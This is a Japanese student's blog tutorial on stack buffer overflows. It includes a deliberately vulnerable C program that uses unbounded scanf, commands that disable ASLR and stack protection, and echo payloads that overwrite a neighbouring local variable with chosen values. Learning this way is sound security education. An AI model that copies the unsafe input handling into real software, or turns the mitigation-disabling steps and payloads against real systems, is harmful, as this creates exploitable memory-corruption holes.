バッファオーバーフロー脆弱性について ①ローカル変数を任意の値に書き換える

最近、大学の講義でメモリ領域についての実験があったのでその延長としてバッファオーバーフロー脆弱性についてお勉強したことを書いていきたいと思う。

実行環境

実行環境は下記の通り。

$ uname -a
Linux kali 4.9.0-kali3-amd64 #1 SMP Debian 4.9.18-1kali1 (2017-04-04) x86_64 GNU/Linux
$ gcc --version
gcc (Debian 6.3.0-18) 6.3.0 20170516
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

バッファオーバーフロー脆弱性のあるプログラム

バッファオーバーフロー脆弱性のあるプログラムを下記に示す。

#include <stdio.h>

int main(int argc, char *argv[]){
    int  var1 = 1;
    char var2[8];

    printf("var1's address   : %p\n",   &var1);
    printf("var2's address   : %p\n",   var2);
    printf("var2's size      : %d\n\n", sizeof(var2));
    
    printf("var1's values    : %d\n\n", var1);
    
    printf("input for var2 >>> ");
    scanf("%s", var2);

    printf("var1's values    : %d\n\n", var1);

    return 0;
}

このプログラムは変数var2にscanfで入力文字列を代入しその後、変数var1の値をpritnfで表示するものである。

今回の実験では
* 変数var2が確保している領域以上の長さの文字列を入力することでメモリ上のスタック領域を破壊することができること
* 入力値をうまく設定することでスタック領域を任意の値に書き換えることができること
を見ていく。

ASLRを無効化する

Address Space Layout Randomization (ASLR)はスタックやヒープ、共有ライブラリなどをメモリに配置するときにアドレスの一部をランダム化することで攻撃者がアドレスを推測するのを困難にするセキュリティ機構である。
今回の実験ではASLRが有効状態だとうまく実験が行えないので無効化する。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

SSPを無効化する

Stack Smash Protection(SSP)はスタック上でバッファオーバーフローを防ぐためのセキュリティ機構である。
スタックフレーム上のローカル変数領域とSaved EBPの間にCanary(カナリア)と呼ばれる値を挿入し、関数の終了時にその値が書き換えられているかどうかを判定することでバッファオーバーフローの検出を行うもの。もしバッファオーバーフローが発生していた場合にはその場でプログラムを強制終了してくれる。
コンパイル時に-fno-stack-protectorオプションを指定することでStack Smash Protection (SSP)を無効にできる。

コンパイル

このプログラムをコンパイルする。

$ gcc -g -m32 -fno-stack-protector -o local_variables1 local_variables1.c

-gオプションを設定することでgdbデバッガを使用するときに追加のデバッグ情報を出力させることができる。
また、-m32オプションを設定することで32ビット実行形式にすることができる。

スタック領域を破壊する

実際にバッファオーバーフローを起こしてみる。
まずは正常な値を入力してみる。

$ ./local_variables1
var1's address   : 0xffffd2cc
var2's address   : 0xffffd2c4
var2's size      : 8

var1's values    : 1

input for var2 >>> aaaa

var1's values    : 1

実行結果より変数var1と変数var2のアドレスが隣接していることがわかる。
また、変数var2の方が変数var1よりも低位アドレスに配置されていることがわかる。
変数var1の値は初期化時と同様“1”が出力される。

次は変数var2のサイズ以上の値を入力してみる。

$ ./local_variables1
var1's address   : 0xffffd2cc
var2's address   : 0xffffd2c4
var2's size      : 8

var1's values    : 1

input for var2 >>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
var1's values    : 1633771873

Segmentation fault

変数var1の値が書き換えれバッファオーバーフローが起こっていることが確認出来る。
これは低位アドレスに配置されている変数var2にサイズ以上の値を入力した結果、変数var2隣接している変数var1の領域にまで入力値が代入され、変数var1の値が書き換えられるためである。

スタック領域を任意の値に書き換える

では次に変数var1の値を任意の値に書き換えてみる。
次の実行は変数var1の値を“2”に書き換えるものである。

$ echo -e 'aaaaaaaa\x2\x0\x0\x0' | ./local_variables1
var1's address   : 0xffffd2cc
var2's address   : 0xffffd2c4
var2's size      : 8

var1's values    : 1

input for var2 >>> var1's values    : 2

Segmentation fault

実行結果より変数var1の値が"1"から"2"に書き換えれていることわかる。
echoコマンドの-eオプションを指定することでエスケープ・シーケンスを有効にできる。
“\x(数字)"の”(数字)“に書き換えたい値を指定することで変数var1に任意の値を書き換えることができる。
変数var2のサイズ分の値(上記では"aaaaaaaa"を入力)とエンディアンを考慮した書き換えたい値(上記では"2"に書き換えたいのでを”\x2\x0\x0\x0"を入力)を入力値としてechoの標準出力からパイプを通して実行形式の標準入力としている。

おまけ

下記のプログラムは変数var1の値を"0x12345678"に書き換えることができれば"congratulations!“と表示されるものである。

#include <stdio.h>

int main(int argc, char *argv[]){
    int  var1 = 1;
    char var2[8];

    printf("var1's address   : %p\n",   &var1);
    printf("var2's address   : %p\n",   var2);
    printf("var2's size      : %d\n\n", sizeof(var2));
    
    printf("var1's values    : %d\n\n", var1);
    
    printf("input for var2 >>> ");
    scanf("%s", var2);

        printf("var1's values    : %d\n\n", var1);
    if(var1 == 0x12345678) printf("\n\ncongratulations!\n\n");

    return 0;
}

では変数var1を“0x12345678”に書き換えてみる。

echo -e 'aaaaaaaa\x78\x56\x34\x12' | ./local_variables2
var1's address   : 0xffffd2cc
var2's address   : 0xffffd2c4
var2's size      : 8

var1's values    : 1

input for var2 >>> var1's values    : 305419896



congratulations!

Segmentation fault

うまく表示させることができました!

Segmentation fault

ここでバッファオーバーフローさせるたびに毎回、Segmentation faultが発生する。
次回はSegmentation faultを迂回させた方法について書いていきたいと思う。

使用したプログラム

github.com